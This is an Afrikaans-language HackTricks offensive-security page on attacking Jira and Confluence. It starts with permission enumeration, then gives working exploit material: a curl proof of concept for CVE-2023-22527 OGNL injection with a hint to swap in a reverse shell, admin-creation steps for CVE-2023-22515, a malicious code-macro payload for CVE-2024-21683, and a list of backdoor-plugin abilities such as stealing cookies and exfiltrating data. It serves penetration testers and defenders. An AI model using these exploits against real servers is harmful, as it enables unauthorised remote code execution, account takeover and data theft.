Jira & Confluence
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Kontroleer Bevoegdhede
In Jira kan bevoegdhede nagegaan word deur enige gebruiker, geauthentikeerd of nie, via die endpoints /rest/api/2/mypermissions of /rest/api/3/mypermissions. Hierdie endpoints openbaar die gebruiker se huidige bevoegdhede. ’n Opvallende risiko ontstaan wanneer nie-geauthentikeerde gebruikers bevoegdhede het, wat op ’n security vulnerability kan dui wat moontlik vir ’n bounty in aanmerking kom. Eveneens dui onverwagte bevoegdhede vir geauthentikeerde gebruikers op ’n vulnerability.
’n Belangrike update is op 1 Februarie 2019 gemaak, wat vereis dat die ‘mypermissions’ endpoint ’n ‘permission’ parameter moet insluit. Hierdie vereiste poog om die veiligheid te verbeter deur die bevoegdhede wat bevra word te spesifiseer: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Voorbeeld: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Geautomatiseerde enumerasie
Onlangse RCEs & praktiese exploit-notas (Confluence)
CVE-2023-22527 – nie-geauthentiseerde template/OGNL injection (10.0)
- Beïnvloed Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Kwetsbare Velocity template
text-inline.vmlaat OGNL-evaluasie toe sonder verifikasie. - Vinnige PoC (command word uitgevoer as confluence user):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Response header
x-cmdsal die opdraguitset bevat. Verwisselidmet ’n reverse shell payload. - Skandeerder: nuclei template
http/cves/2023/CVE-2023-22527.yaml(ingesluit in nuclei-templates ≥9.7.5).
CVE-2023-22515 – setup reactivation admin creation (auth bypass)
- Openlik bereikbare Confluence Data Center/Server 8.0.0–8.5.1 laat toe om
setupCompleteom te skakel en weer/setup/setupadministrator.actionuit te voer om ’n nuwe admin-rekening te skep. - Minimale exploit-vloei:
GET /server-info.action(unauthenticated) om bereikbaarheid te verseker.POST /server-info.actionmetbuildNumberparameters om die setup-vlag te wissel.POST /setup/setupadministrator.actionmetfullName,email,username,password,confirmom ’n admin te skep.
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Confluence Admin kan ’n gemaakte taaldefinisie in Configure Code Macro oplaai; die Rhino engine voer ingevoegde Java uit, wat lei tot RCE.
- Vir ’n shell, laai ’n
.langlêer op wat ’n payload soos:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Aktiveer deur die kwaadwillige taal in enige Code Macro-liggaam te kies. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683automatiseer auth + upload + exec.
Atlasian inproppe
Soos aangedui in hierdie blog, in die dokumentasie oor Plugin modules ↗ is dit moontlik om die verskillende tipes inproppe te bekyk, soos:
- REST Plugin Module ↗: Bied RESTful API-endpunte aan
- Servlet Plugin Module ↗: Ontplooi Java servlets as deel van ’n inprop
- Macro Plugin Module ↗: Implementeer Confluence Macros, d.w.s. geparameteriseerde HTML-sjablone
This is an example of the macro plugin type:
Macro plugin voorbeeld
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Dit is moontlik om waar te neem dat hierdie plugins kwesbaar kan wees vir algemene web-kwesbaarhede soos XSS. Byvoorbeeld is die vorige voorbeeld kwesbaar omdat dit data wat deur die gebruiker verskaf is, weerspieël.
Sodra 'n XSS gevind is, kan jy in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) enkele payloads vind om die impak van die XSS te verhoog.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) beskryf verskillende (malign) aksies wat 'n kwaadwillige Jira plugin kan uitvoer. Jy kan [**code example in this repo**](https://github.com/cyllective/malfluence).
Hier volg 'n paar aksies wat 'n kwaadwillige plugin kan uitvoer:
- **Hiding Plugins from Admins**: Dit is moontlik om die kwaadwillige plugin te verberg deur front-end javascript in te spuit
- **Exfiltrating Attachments and Pages**: Laat toe om toegang te kry tot en alle data te exfiltrate.
- **Stealing Session Tokens**: Voeg 'n endpoint by wat die headers in die response sal echo (met die cookie) en 'n stuk javascript wat dit sal kontak en die cookies sal leak.
- **Command Execution**: Natuurlik is dit moontlik om 'n plugin te skep wat code sal uitvoer.
- **Reverse Shell**: Of om 'n reverse shell te kry.
- **DOM Proxying**: As Confluence binne 'n privaat netwerk is, sal dit moontlik wees om 'n verbinding te vestig deur die browser van 'n gebruiker met toegang daartoe en byvoorbeeld die server te kontak en op daardie wyse commando's uit te voer.
## Verwysings
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


